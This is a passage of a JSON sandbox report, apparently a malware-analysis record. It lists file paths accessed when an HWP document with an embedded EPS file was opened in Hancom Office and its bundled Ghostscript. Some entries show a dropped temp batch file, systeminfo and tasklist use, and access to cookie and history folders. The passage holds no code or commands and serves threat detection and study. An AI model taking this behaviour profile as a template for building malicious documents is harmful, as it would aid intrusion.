path":"%TEMP%\\gst835C.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gswin32c.exe","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gse835C.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\HimTrayIcon.exe","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\a_1d87.bat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\Office\\Recent\\________.hwp.lnk","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\Office\\Recent\\C:\\.folder.lnk","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Help\\TbxTooltip\\Enu\\Help.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsb835C.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Users\\W55GF1A","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\AhnLab\\~elserf.log","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\systeminfo.exe","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\systeminfo.exe.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\mlang.dll","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\mlang.dll.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\NATMAL3.DIC","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\NATMAL3.INF","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\WARNING.DIC","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\tossi3.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\ssikkut3.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\ENGDIC.DIC","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Shared80\\Dics","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\MARK.DIC","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Shared80\\Dics\\mark.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\sendic.INF","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\sendic.DIC","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\pnteomi.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\pnteomi.inf","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\Pntconj.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\jonbi.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\jonbi.inf","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\jonbicom.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\jonbicom.inf","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Shared80\\Dics\\susa.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\freqmain.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\freqmain.inf","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Shared80\\Dics\\foreign.dic","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_gen.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsa835C.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\Hnc\\BinData\\EMB00000ce043d1.eps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\EjFU","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\tasklist.exe","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\tasklist.exe.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_chs.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_jpn.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_cht.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_kor.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_u2h.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_h2u.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_com.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_pua.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u300_cjk.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\Code\\u320_hnc.dat","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Help\\TbxTooltip\\Enu\\StyleCombo.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\Hwp80\\~$t713D.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\Hwp80\\________.asv","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DFF2569F3E5C3B1E1D.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gst602A.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gse602A.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\$$$00000ce043d4.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\prv00000ce043d2.gif","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gst8AB5.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsb602A.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\EqHU","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsa602A.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gse8AB5.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsb8AB5.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\gsa8AB5.tmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_init.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_init.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_init.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_init.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_std_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_std_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_std_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_std_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_il1_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_il1_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_il1_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_il1_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_statd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_statd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_statd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_statd.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_fonts.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_fonts.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_fonts.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_fonts.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cspace.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cspace.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cspace.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cspace.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_img.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_btokn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_btokn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_btokn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_btokn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_dps1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_dps1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_dps1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_dps1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_dps2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_dps2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_dps2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_dps2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_type1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_type1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_type1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_type1.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_lev2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_lev2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_lev2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_lev2.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_res.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_res.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_res.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_res.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_resmp.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_resmp.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_resmp.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_resmp.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_typ42.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_typ42.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_typ42.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_typ42.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cidfn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cidfn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cidfn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cidfn.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Init\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\lib\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Font\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\fonts\\ProcSet\\CIDInit","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_ciddc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_ciddc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_ciddc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_ciddc.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_cidcm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_cidcm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_cidcm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_cidcm.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_fntem.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_fntem.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_fntem.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_fntem.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\xlatmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\xlatmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\xlatmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\xlatmap","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_sym_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_sym_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_sym_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_sym_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\gs_dbt_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\gs_dbt_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\gs_dbt_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\gs_dbt_e.ps","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\gs8.71\\lib\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\Hnc\\Common80\\ImgFilters\\GS\\fonts\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\Fonts\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\Resource\\Init\\Encoding\\Wingdings","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"c:\\gs\\gs8.71\\lib\\Enco